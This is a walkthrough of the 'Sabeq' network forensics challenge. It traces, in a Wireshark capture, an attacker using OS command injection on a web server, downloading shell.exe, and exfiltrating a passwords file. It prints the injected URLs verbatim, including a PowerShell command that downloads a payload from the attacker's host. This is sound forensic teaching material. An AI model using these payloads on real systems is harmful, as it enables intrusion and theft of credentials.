Sabeq Challenge Write-Up
Welcome to this write up where I will be explaining how to go about the Sabeq Challenge. It can get complicated so fast so will try and take it slow.
In summary: The Sabeq Challenge is a Network Security Challenge that involves Analyzing .pcap files(Wireshark files).
So that we are on the same page, below is the challenge and its questions that we are going to be working on.
and the .pcap file that we will be analyzing can be found here
Now let’s begin,
Requirements
- Wireshark
- The .pcap file found here
- Some patience
Assuming you have all that in place we can start
1. Arranging Wireshark Interface
So i will start by arranging my Wireshark interface to fit my needs. You can do the same. This is just my preference.
Follow this tutorial https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/
concentrate on changing the Columns, Time format to UTC date and time and adding the Host column so as to get the layout as below
From here we are just flowing there is nothing hard and complicated.
2. Filtering ports
As usual, we first check the traffic going to and from the common ports so port 21,22,80,443…
Start by creating a filter using the command tcp.port == 80
you should get these results
Out of all the packets(3322), 2853 are from port 80 as seen above and we all know port 80 is mostly web-related. You can apply the filters for the other ports to see how many packets are on that port.
3. Find hidden data using statistics tool
Wireshark provides an amazing tool for statistics that will help us see if there are any hidden data that Wireshark was not able to classify.
so go to Statistics → Protocol Hierarchy
you should have this now
what is protocol hierarchy, I define it as a tree of all the protocols in the capture. Each row contains the statistical values of one protocol.
From the image above, if you look closely you will see under Transmission Control Protocol we have an entry called Data which has around 20 packets that Wireshark does not know what category they should place them. Well, that’s suspicious. Let’s look into it, right-click it → apply as a filter → selected
you should have this now
so this is our suspicious data. just by going through it, we notice there is a lot of communication between the IP 192.168.0.37 and 192.168.0.31, my guess is at this point one of these ip’s is our attacker.
3. Analyzing the Suspicious Data
NB: From now we are going to note every suspicious entry with its corresponding time.
a) We have an entry at 1956 where the host is 192.168.0.37 which is also the destination IP and the source IP is 192.168.0.31 which was a GET request and it was at 11:21:29.
So we can just follow that stream and analyze the result.
First, we see the GET URL has a parameter at the end … /acf.php?cmd=dir HTTP/1.1
Second, we also didn’t know what is running on IP 192.168.0.37 but from the result of the TCP stream we clearly see this is a server running
Thirdly, the response from this get request also shows that the server(192.168.0.37) responded with the directory structure of the server and this is due to the parameter passed on the GET request by 192.168.0.31.
What was being tested here??.. This attack has a name, check out OS command injection so the IP 192.168.0.31 was testing if the site was vulnerable to OS command injection and it was successful.
b) Back to our filter for 192.168.0.31 and we peruse the data once again. On the info column, we see another interesting entry on row 2386. This time it is also a GET request to our server(192.168.0.37) from 192.168.0.31 at 11:22:19. Let’s follow the stream and analyze it
We see the GET URL has a parameter at the end … /acf.php?cmd=del%20shell.exe%20shell.php HTTP/1.1
we also know the server is vulnerable to OS command injection and in this case, the IP 192.168.0.31 is trying to delete the shell.exe and shell.php files.
c) Back to our filter for 192.168.0.31 and we peruse the data once again. On the info column, we see another interesting entry on row 2777. This time it is also a GET request to our server(192.168.0.37) from 192.168.0.31 at 11:23:21. Let’s follow the stream and analyze it
We see the GET URL has a parameter at the end … /acf.php?cmd=powershell.exe%20(new-object%20system.net.webclient).downloadfile(%27http://192.168.0.31:9000/shell.exe%27,%27shell.exe%27) HTTP/1.1
From this request, we can see if you are familiar with PowerShell. the IP 192.168.0.31 has a file called shell.exe at port 9000 and it is uploading the file to our server(192.168.0.37). We can now say the IP 192.168.0.31 is our attacker.
d) Back to our filter for the attacker(192.168.0.31) and we peruse the data once again. On the info column, we see another interesting entry on row 2969. This time it is also a GET request to our server(192.168.0.37) from the attacker(192.168.0.31) at 11:23:42. Let’s follow the stream and analyze it
This time the attacker runs the cmd command via the URL and gets back the directories just to confirm that the file upload was successful and he gets this response from the server, where the shell.exe was uploaded successfully
4. The Final Attack
The attacker then at 11:24:15 on entry 3107 runs the shell.exe file that he had uploaded by passing the URL below.
Now here things get interesting, the command above spawns a shell which can be viewed on tcp stream 88.
so basically what the attacker does is he/she deletes the existing poweExfil.ps1 and uploads his own version of powerExfil.ps1
After that, the attacker then sent another request which we can see when we apply a filter like this ip.addr == 192.168.0.31 to get the streams related to this attacker IP. Then on the info column if you just peruse through them on row number 3169 we can see the request
A GET request from the server to attacker for the file called powerExfil.ps1 and we do know this is a PowerShell file, it happened at 11:25:29. Follow that TCP stream so that we can see it’s content like below.
from our challenge we are told: The CEO of the college has gotten a notification that someone was trying to access his email, and he knows very well that the only person who had his credentials was the Systems Admin who created him the account and sent him credentials in a text file called Passwords.rtf
This powerExfil.ps1 was executed by the server and a POST request was initiated at 11:26:33 to upload contents of the Passwords.rtf file to the attacker. The contents of the file are
and that’s basically it. Hope you didn’t get lost. For follow up below is a table showing the chronology of events.
That’s it, hope everything was clear and now you can be able to answer the Challenge questions, if not, don’t hesitate to reach out.
Author: Collins .H. Munene
Sponsered by: Devligence Limited